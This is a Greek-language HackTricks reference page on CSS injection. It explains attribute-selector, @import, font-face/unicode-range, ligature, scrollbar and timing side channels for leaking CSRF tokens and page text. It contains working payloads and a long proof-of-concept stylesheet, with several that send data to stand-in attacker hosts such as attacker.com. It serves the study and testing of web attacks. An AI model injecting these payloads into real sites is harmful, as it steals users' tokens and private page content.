CSS Injection
Reading time: 22 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
CSS Injection
Επιλογέας Χαρακτηριστικού
Οι επιλεγείς CSS είναι σχεδιασμένοι να ταιριάζουν με τις τιμές των χαρακτηριστικών name
και value
ενός στοιχείου input
. Εάν η τιμή του χαρακτηριστικού του στοιχείου εισόδου αρχίζει με έναν συγκεκριμένο χαρακτήρα, φορτώνεται ένας προκαθορισμένος εξωτερικός πόρος:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
Ωστόσο, αυτή η προσέγγιση αντιμετωπίζει έναν περιορισμό όταν ασχολείται με κρυφά στοιχεία εισόδου (type="hidden"
) επειδή τα κρυφά στοιχεία δεν φορτώνουν φόντα.
Παράκαμψη για Κρυφά Στοιχεία
Για να παρακάμψετε αυτόν τον περιορισμό, μπορείτε να στοχεύσετε ένα επόμενο αδελφό στοιχείο χρησιμοποιώντας τον γενικό συνδυαστή αδελφών ~
. Ο κανόνας CSS στη συνέχεια εφαρμόζεται σε όλα τα αδέλφια που ακολουθούν το κρυφό στοιχείο εισόδου, προκαλώντας τη φόρτωση της εικόνας φόντου:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Ένα πρακτικό παράδειγμα εκμετάλλευσης αυτής της τεχνικής περιγράφεται στο παρεχόμενο απόσπασμα κώδικα. Μπορείτε να το δείτε εδώ.
Προαπαιτούμενα για CSS Injection
Για να είναι αποτελεσματική η τεχνική CSS Injection, πρέπει να πληρούνται ορισμένες προϋποθέσεις:
- Μήκος Payload: Ο φορέας CSS injection πρέπει να υποστηρίζει επαρκώς μεγάλα payloads για να φιλοξενήσει τους κατασκευασμένους επιλεγείς.
- Επαναξιολόγηση CSS: Πρέπει να έχετε τη δυνατότητα να πλαισιώσετε τη σελίδα, κάτι που είναι απαραίτητο για να ενεργοποιηθεί η επαναξιολόγηση του CSS με τα νεοπαραγόμενα payloads.
- Εξωτερικοί Πόροι: Η τεχνική υποθέτει τη δυνατότητα χρήσης εξωτερικά φιλοξενούμενων εικόνων. Αυτό μπορεί να περιορίζεται από την Πολιτική Ασφαλείας Περιεχομένου (CSP) της ιστοσελίδας.
Blind Attribute Selector
Όπως εξηγείται σε αυτή την ανάρτηση, είναι δυνατόν να συνδυαστούν οι επιλεγείς :has
και :not
για να εντοπιστεί περιεχόμενο ακόμη και από τυφλά στοιχεία. Αυτό είναι πολύ χρήσιμο όταν δεν έχετε ιδέα τι υπάρχει μέσα στη σελίδα που φορτώνει το CSS injection.
Είναι επίσης δυνατό να χρησιμοποιηθούν αυτοί οι επιλεγείς για να εξαχθεί πληροφορία από αρκετά μπλοκ του ίδιου τύπου όπως σε:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Συνδυάζοντας αυτό με την παρακάτω τεχνική @import, είναι δυνατόν να εξάγουμε πολλές πληροφορίες χρησιμοποιώντας CSS injection από τυφλές σελίδες με blind-css-exfiltration.
@import
Η προηγούμενη τεχνική έχει κάποια μειονεκτήματα, ελέγξτε τις προϋποθέσεις. Πρέπει είτε να μπορείτε να στείλετε πολλαπλούς συνδέσμους στο θύμα, είτε να μπορείτε να iframe την ευάλωτη σελίδα CSS injection.
Ωστόσο, υπάρχει μια άλλη έξυπνη τεχνική που χρησιμοποιεί CSS @import
για να βελτιώσει την ποιότητα της τεχνικής.
Αυτό παρουσιάστηκε πρώτα από Pepe Vila και λειτουργεί ως εξής:
Αντί να φορτώνουμε την ίδια σελίδα ξανά και ξανά με δεκάδες διαφορετικά payloads κάθε φορά (όπως στην προηγούμενη), θα φορτώσουμε τη σελίδα μόνο μία φορά και μόνο με μια εισαγωγή στον διακομιστή του επιτιθέμενου (αυτό είναι το payload που θα στείλουμε στο θύμα):
@import url("//attacker.com:5001/start?");
- Η εισαγωγή θα λάβει κάποιο CSS script από τους επιτιθέμενους και ο περιηγητής θα το φορτώσει.
- Το πρώτο μέρος του CSS script που θα στείλει ο επιτιθέμενος είναι άλλη
@import
στον διακομιστή των επιτιθέμενων ξανά. - Ο διακομιστής των επιτιθέμενων δεν θα απαντήσει σε αυτή την αίτηση ακόμα, καθώς θέλουμε να διαρρεύσουν μερικοί χαρακτήρες και στη συνέχεια να απαντήσει αυτή την εισαγωγή με το payload για να διαρρεύσουν τους επόμενους.
- Το δεύτερο και μεγαλύτερο μέρος του payload θα είναι ένα payload διαρροής επιλεγέα χαρακτηριστικών
- Αυτό θα στείλει στον διακομιστή των επιτιθέμενων τον πρώτο χαρακτήρα του μυστικού και τον τελευταίο.
- Μόλις ο διακομιστής των επιτιθέμενων λάβει τον πρώτο και τελευταίο χαρακτήρα του μυστικού, θα απαντήσει στην εισαγωγή που ζητήθηκε στο βήμα 2.
- Η απάντηση θα είναι ακριβώς η ίδια με τα βήματα 2, 3 και 4, αλλά αυτή τη φορά θα προσπαθήσει να βρει τον δεύτερο χαρακτήρα του μυστικού και στη συνέχεια τον προτελευταίο.
Ο επιτιθέμενος θα ακολουθήσει αυτόν τον βρόχο μέχρι να καταφέρει να διαρρεύσει εντελώς το μυστικό.
Μπορείτε να βρείτε τον αρχικό κώδικα του Pepe Vila για να εκμεταλλευτείτε αυτό εδώ ή μπορείτε να βρείτε σχεδόν τον ίδιο κώδικα αλλά με σχόλια εδώ.
note
Το script θα προσπαθήσει να ανακαλύψει 2 χαρακτήρες κάθε φορά (από την αρχή και από το τέλος) επειδή ο επιλεγέας χαρακτηριστικών επιτρέπει να γίνονται πράγματα όπως:
/* value^= για να ταιριάζει με την αρχή της τιμής */
input[value^="0"] {
--s0: url(http://localhost:5001/leak?pre=0);
}
/* value$= για να ταιριάζει με το τέλος της τιμής */
input[value$="f"] {
--e0: url(http://localhost:5001/leak?post=f);
}
Αυτό επιτρέπει στο script να διαρρεύσει το μυστικό πιο γρήγορα.
warning
Μερικές φορές το script δεν ανιχνεύει σωστά ότι ο προθέτης + επίθημα που ανακαλύφθηκε είναι ήδη η πλήρης σημαία και θα συνεχίσει προς τα εμπρός (στον προθέτη) και προς τα πίσω (στον επίθημα) και σε κάποιο σημείο θα κολλήσει.
Μην ανησυχείτε, απλώς ελέγξτε την έξοδο γιατί μπορείτε να δείτε τη σημαία εκεί.
Άλλοι επιλεγείς
Άλλοι τρόποι πρόσβασης σε μέρη του DOM με CSS selectors:
.class-to-search:nth-child(2)
: Αυτό θα αναζητήσει το δεύτερο στοιχείο με την κλάση "class-to-search" στο DOM.:empty
selector: Χρησιμοποιείται για παράδειγμα σε αυτή τη γραφή:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
Error based XS-Search
Αναφορά: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
Η γενική πρόθεση είναι να χρησιμοποιήσετε μια προσαρμοσμένη γραμματοσειρά από ένα ελεγχόμενο endpoint και να διασφαλίσετε ότι το κείμενο (σε αυτή την περίπτωση, 'A') εμφανίζεται με αυτή τη γραμματοσειρά μόνο αν ο καθορισμένος πόρος (favicon.ico
) δεν μπορεί να φορτωθεί.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Χρήση Προσαρμοσμένης Γραμματοσειράς:
- Μια προσαρμοσμένη γραμματοσειρά ορίζεται χρησιμοποιώντας τον κανόνα
@font-face
μέσα σε ένα<style>
tag στην ενότητα<head>
. - Η γραμματοσειρά ονομάζεται
poc
και ανακτάται από ένα εξωτερικό endpoint (http://attacker.com/?leak
). - Η ιδιότητα
unicode-range
έχει οριστεί σεU+0041
, στοχεύοντας τον συγκεκριμένο χαρακτήρα Unicode 'A'.
- Στοιχείο Object με Κείμενο Εναλλακτικής:
- Ένα στοιχείο
<object>
μεid="poc0"
δημιουργείται στην ενότητα<body>
. Αυτό το στοιχείο προσπαθεί να φορτώσει μια πηγή απόhttp://192.168.0.1/favicon.ico
. - Η
font-family
για αυτό το στοιχείο έχει οριστεί σε'poc'
, όπως ορίζεται στην ενότητα<style>
. - Εάν η πηγή (
favicon.ico
) αποτύχει να φορτωθεί, το περιεχόμενο εναλλακτικής (το γράμμα 'A') μέσα στο tag<object>
εμφανίζεται. - Το περιεχόμενο εναλλακτικής ('A') θα αποδοθεί χρησιμοποιώντας την προσαρμοσμένη γραμματοσειρά
poc
εάν η εξωτερική πηγή δεν μπορεί να φορτωθεί.
Στυλ Scroll-to-Text Fragment
Η :target
ψευδο-κλάση χρησιμοποιείται για να επιλέξει ένα στοιχείο που στοχεύεται από ένα URL fragment, όπως καθορίζεται στην CSS Selectors Level 4 specification. Είναι κρίσιμο να κατανοήσουμε ότι το ::target-text
δεν ταιριάζει με κανένα στοιχείο εκτός αν το κείμενο στοχεύεται ρητά από το fragment.
Ένα ζήτημα ασφαλείας προκύπτει όταν οι επιτιθέμενοι εκμεταλλεύονται τη δυνατότητα Scroll-to-text fragment, επιτρέποντάς τους να επιβεβαιώσουν την παρουσία συγκεκριμένου κειμένου σε μια ιστοσελίδα φορτώνοντας μια πηγή από τον διακομιστή τους μέσω HTML injection. Η μέθοδος περιλαμβάνει την έγχυση ενός κανόνα CSS όπως αυτός:
:target::before {
content: url(target.png);
}
Σε τέτοιες περιπτώσεις, αν το κείμενο "Administrator" είναι παρόν στη σελίδα, το πόρο target.png
ζητείται από τον διακομιστή, υποδεικνύοντας την παρουσία του κειμένου. Μια περίπτωση αυτής της επίθεσης μπορεί να εκτελεστεί μέσω μιας ειδικά κατασκευασμένης διεύθυνσης URL που ενσωματώνει το εισαγόμενο CSS μαζί με ένα τμήμα Scroll-to-text:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Εδώ, η επίθεση χειρίζεται την HTML injection για να μεταδώσει τον CSS κώδικα, στοχεύοντας στο συγκεκριμένο κείμενο "Administrator" μέσω του Scroll-to-text fragment (#:~:text=Administrator
). Εάν βρεθεί το κείμενο, το υποδεικνυόμενο πόρο φορτώνεται, ακούσια σηματοδοτώντας την παρουσία του στον επιτιθέμενο.
Για την αντιμετώπιση, θα πρέπει να σημειωθούν τα εξής σημεία:
- Περιορισμένη Αντιστοίχιση STTF: Το Scroll-to-text Fragment (STTF) έχει σχεδιαστεί για να ταιριάζει μόνο με λέξεις ή προτάσεις, περιορίζοντας έτσι την ικανότητά του να διαρρέει αυθαίρετα μυστικά ή tokens.
- Περιορισμός σε Κορυφαία Στοιχεία Πλοήγησης: Το STTF λειτουργεί αποκλειστικά σε κορυφαία στοιχεία πλοήγησης και δεν λειτουργεί εντός iframes, καθιστώντας οποιαδήποτε προσπάθεια εκμετάλλευσης πιο εμφανή στον χρήστη.
- Αναγκαιότητα Ενεργοποίησης από τον Χρήστη: Το STTF απαιτεί μια χειρονομία ενεργοποίησης από τον χρήστη για να λειτουργήσει, πράγμα που σημαίνει ότι οι εκμεταλλεύσεις είναι εφικτές μόνο μέσω πλοηγήσεων που ξεκινούν από τον χρήστη. Αυτή η απαίτηση μειώνει σημαντικά τον κίνδυνο αυτοματοποιημένων επιθέσεων χωρίς αλληλεπίδραση του χρήστη. Παρ' όλα αυτά, ο συγγραφέας της ανάρτησης επισημαίνει συγκεκριμένες συνθήκες και παρακάμψεις (π.χ. κοινωνική μηχανική, αλληλεπίδραση με διαδεδομένα πρόσθετα προγράμματος περιήγησης) που θα μπορούσαν να διευκολύνουν την αυτοματοποίηση της επίθεσης.
Η επίγνωση αυτών των μηχανισμών και των πιθανών ευπαθειών είναι το κλειδί για τη διατήρηση της ασφάλειας του ιστού και την προστασία από τέτοιες εκμεταλλευτικές τακτικές.
Για περισσότερες πληροφορίες, ελέγξτε την αρχική αναφορά: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Μπορείτε να ελέγξετε μια εκμετάλλευση χρησιμοποιώντας αυτή την τεχνική για ένα CTF εδώ.
@font-face / unicode-range
Μπορείτε να καθορίσετε εξωτερικές γραμματοσειρές για συγκεκριμένες τιμές unicode που θα συγκεντρωθούν μόνο εάν αυτές οι τιμές unicode είναι παρούσες στη σελίδα. Για παράδειγμα:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
Όταν αποκτάτε πρόσβαση σε αυτή τη σελίδα, το Chrome και το Firefox ανακτούν "?A" και "?B" επειδή ο κόμβος κειμένου της ευαίσθητης πληροφορίας περιέχει τους χαρακτήρες "A" και "B". Αλλά το Chrome και το Firefox δεν ανακτούν "?C" επειδή δεν περιέχει "C". Αυτό σημαίνει ότι έχουμε μπορέσει να διαβάσουμε "A" και "B".
Εξαγωγή κόμβου κειμένου (I): λυγισμοί
Αναφορά: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
Η τεχνική που περιγράφεται περιλαμβάνει την εξαγωγή κειμένου από έναν κόμβο εκμεταλλευόμενη τους λυγισμούς γραμματοσειρών και παρακολουθώντας τις αλλαγές στο πλάτος. Η διαδικασία περιλαμβάνει αρκετά βήματα:
- Δημιουργία Προσαρμοσμένων Γραμματοσειρών:
- Οι γραμματοσειρές SVG κατασκευάζονται με γλυφές που έχουν ένα χαρακτηριστικό
horiz-adv-x
, το οποίο ορίζει ένα μεγάλο πλάτος για μια γλυφή που αντιπροσωπεύει μια ακολουθία δύο χαρακτήρων. - Παράδειγμα γλυφής SVG:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, όπου το "XY" δηλώνει μια ακολουθία δύο χαρακτήρων. - Αυτές οι γραμματοσειρές στη συνέχεια μετατρέπονται σε μορφή woff χρησιμοποιώντας το fontforge.
- Ανίχνευση Αλλαγών Πλάτους:
- Χρησιμοποιείται CSS για να διασφαλιστεί ότι το κείμενο δεν τυλίγεται (
white-space: nowrap
) και για να προσαρμοστεί το στυλ της γραμμής κύλισης. - Η εμφάνιση μιας οριζόντιας γραμμής κύλισης, που έχει στυλ διαφορετικό, λειτουργεί ως δείκτης (oracle) ότι μια συγκεκριμένη λυγισμός, και επομένως μια συγκεκριμένη ακολουθία χαρακτήρων, είναι παρούσα στο κείμενο.
- Το CSS που εμπλέκεται:
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
- Διαδικασία Εκμετάλλευσης:
- Βήμα 1: Δημιουργούνται γραμματοσειρές για ζεύγη χαρακτήρων με σημαντικό πλάτος.
- Βήμα 2: Χρησιμοποιείται ένα κόλπο βασισμένο στη γραμμή κύλισης για να ανιχνευθεί πότε η μεγάλη γλυφή πλάτους (λυγισμός για ένα ζεύγος χαρακτήρων) αποδίδεται, υποδεικνύοντας την παρουσία της ακολουθίας χαρακτήρων.
- Βήμα 3: Με την ανίχνευση ενός λυγισμού, δημιουργούνται νέες γλυφές που αντιπροσωπεύουν ακολουθίες τριών χαρακτήρων, ενσωματώνοντας το ανιχνευθέν ζεύγος και προσθέτοντας έναν προηγούμενο ή επόμενο χαρακτήρα.
- Βήμα 4: Η ανίχνευση του λυγισμού τριών χαρακτήρων πραγματοποιείται.
- Βήμα 5: Η διαδικασία επαναλαμβάνεται, αποκαλύπτοντας σταδιακά ολόκληρο το κείμενο.
- Βελτιστοποίηση:
- Η τρέχουσα μέθοδος αρχικοποίησης που χρησιμοποιεί
<meta refresh=...
δεν είναι βέλτιστη. - Μια πιο αποδοτική προσέγγιση θα μπορούσε να περιλαμβάνει το κόλπο CSS
@import
, βελτιώνοντας την απόδοση της εκμετάλλευσης.
Εξαγωγή κόμβου κειμένου (II): διαρροή του charset με μια προεπιλεγμένη γραμματοσειρά (χωρίς εξωτερικά στοιχεία)
Αναφορά: PoC using Comic Sans by @Cgvwzq & @Terjanq
Αυτό το κόλπο κυκλοφόρησε σε αυτό το Slackers thread. Το charset που χρησιμοποιείται σε έναν κόμβο κειμένου μπορεί να διαρρεύσει χρησιμοποιώντας τις προεπιλεγμένες γραμματοσειρές που είναι εγκατεστημένες στον περιηγητή: δεν απαιτούνται εξωτερικές -ή προσαρμοσμένες- γραμματοσειρές.
Η έννοια περιστρέφεται γύρω από τη χρήση μιας κινούμενης εικόνας για να επεκτείνει σταδιακά το πλάτος ενός div
, επιτρέποντας σε έναν χαρακτήρα τη φορά να μεταβεί από το 'suffix' μέρος του κειμένου στο 'prefix' μέρος. Αυτή η διαδικασία χωρίζει αποτελεσματικά το κείμενο σε δύο τμήματα:
- Prefix: Η αρχική γραμμή.
- Suffix: Οι επόμενες γραμμές.
Οι μεταβατικές φάσεις των χαρακτήρων θα εμφανίζονται ως εξής:
C
ADB
CA
DB
CAD
B
CADB
Κατά τη διάρκεια αυτής της μετάβασης, χρησιμοποιείται το unicode-range trick για να εντοπιστεί κάθε νέος χαρακτήρας καθώς προστίθεται στο prefix. Αυτό επιτυγχάνεται αλλάζοντας τη γραμματοσειρά σε Comic Sans, η οποία είναι σημαντικά ψηλότερη από τη προεπιλεγμένη γραμματοσειρά, προκαλώντας έτσι την εμφάνιση μιας κατακόρυφης γραμμής κύλισης. Η εμφάνιση αυτής της γραμμής κύλισης αποκαλύπτει έμμεσα την παρουσία ενός νέου χαρακτήρα στο prefix.
Αν και αυτή η μέθοδος επιτρέπει την ανίχνευση μοναδικών χαρακτήρων καθώς εμφανίζονται, δεν προσδιορίζει ποιος χαρακτήρας επαναλαμβάνεται, μόνο ότι έχει συμβεί μια επανάληψη.
note
Βασικά, το unicode-range χρησιμοποιείται για να ανιχνεύσει έναν χαρακτήρα, αλλά καθώς δεν θέλουμε να φορτώσουμε μια εξωτερική γραμματοσειρά, πρέπει να βρούμε έναν άλλο τρόπο.
Όταν ο χαρακτήρας είναι βρεθεί, του δίδεται η προεγκατεστημένη γραμματοσειρά Comic Sans, η οποία μεγαλώνει τον χαρακτήρα και προκαλεί μια γραμμή κύλισης που θα διαρρεύσει τον βρεθέντα χαρακτήρα.
Ελέγξτε τον κώδικα που εξήχθη από το PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)
Reference: This is mentioned as an unsuccessful solution in this writeup
Αυτή η περίπτωση είναι πολύ παρόμοια με την προηγούμενη, ωστόσο, σε αυτή την περίπτωση ο στόχος του να κάνουμε συγκεκριμένα chars μεγαλύτερα από άλλα είναι να κρύψουμε κάτι όπως ένα κουμπί ώστε να μην πατηθεί από το bot ή μια εικόνα που δεν θα φορτωθεί. Έτσι θα μπορούσαμε να μετρήσουμε την ενέργεια (ή την έλλειψη ενέργειας) και να ξέρουμε αν ένα συγκεκριμένο char είναι παρόν μέσα στο κείμενο.
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
Reference: This is mentioned as an unsuccessful solution in this writeup
Σε αυτή την περίπτωση, θα μπορούσαμε να προσπαθήσουμε να διαρρεύσουμε αν ένα char είναι στο κείμενο φορτώνοντας μια ψεύτικη γραμματοσειρά από την ίδια προέλευση:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
Αν υπάρχει αντιστοιχία, η γραμματοσειρά θα φορτωθεί από το /static/bootstrap.min.css?q=1
. Αν και δεν θα φορτωθεί επιτυχώς, ο περιηγητής θα πρέπει να την αποθηκεύσει στην κρυφή μνήμη, και ακόμη και αν δεν υπάρχει κρυφή μνήμη, υπάρχει ένας μηχανισμός 304 not modified, οπότε η απάντηση θα πρέπει να είναι ταχύτερη από άλλα πράγματα.
Ωστόσο, αν η διαφορά χρόνου της αποθηκευμένης απάντησης από την μη αποθηκευμένη δεν είναι αρκετά μεγάλη, αυτό δεν θα είναι χρήσιμο. Για παράδειγμα, ο συγγραφέας ανέφερε: Ωστόσο, μετά από δοκιμές, διαπίστωσα ότι το πρώτο πρόβλημα είναι ότι η ταχύτητα δεν διαφέρει πολύ, και το δεύτερο πρόβλημα είναι ότι το bot χρησιμοποιεί τη σημαία disk-cache-size=1
, που είναι πραγματικά προσεγμένο.
Εξαγωγή κόμβου κειμένου (III): διαρροή του charset με χρονισμό φόρτωσης εκατοντάδων τοπικών "γραμμάτων" (χωρίς να απαιτούν εξωτερικά στοιχεία)
Αναφορά: Αυτό αναφέρεται ως μια αποτυχημένη λύση σε αυτή τη γραφή
Σε αυτή την περίπτωση μπορείτε να υποδείξετε CSS για να φορτώσετε εκατοντάδες ψεύτικες γραμματοσειρές από την ίδια προέλευση όταν συμβαίνει μια αντιστοιχία. Με αυτόν τον τρόπο μπορείτε να μετρήσετε τον χρόνο που απαιτείται και να ανακαλύψετε αν εμφανίζεται ή όχι ένα χαρακτήρας με κάτι σαν:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
Και ο κώδικας του bot φαίνεται έτσι:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Έτσι, αν η γραμματοσειρά δεν ταιριάζει, ο χρόνος απόκρισης κατά την επίσκεψη στο bot αναμένεται να είναι περίπου 30 δευτερόλεπτα. Ωστόσο, αν υπάρχει ταίριασμα γραμματοσειράς, θα σταλούν πολλαπλά αιτήματα για την ανάκτηση της γραμματοσειράς, προκαλώντας συνεχή δραστηριότητα στο δίκτυο. Ως αποτέλεσμα, θα χρειαστεί περισσότερος χρόνος για να ικανοποιηθεί η συνθήκη διακοπής και να ληφθεί η απόκριση. Επομένως, ο χρόνος απόκρισης μπορεί να χρησιμοποιηθεί ως δείκτης για να προσδιοριστεί αν υπάρχει ταίριασμα γραμματοσειράς.
References
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
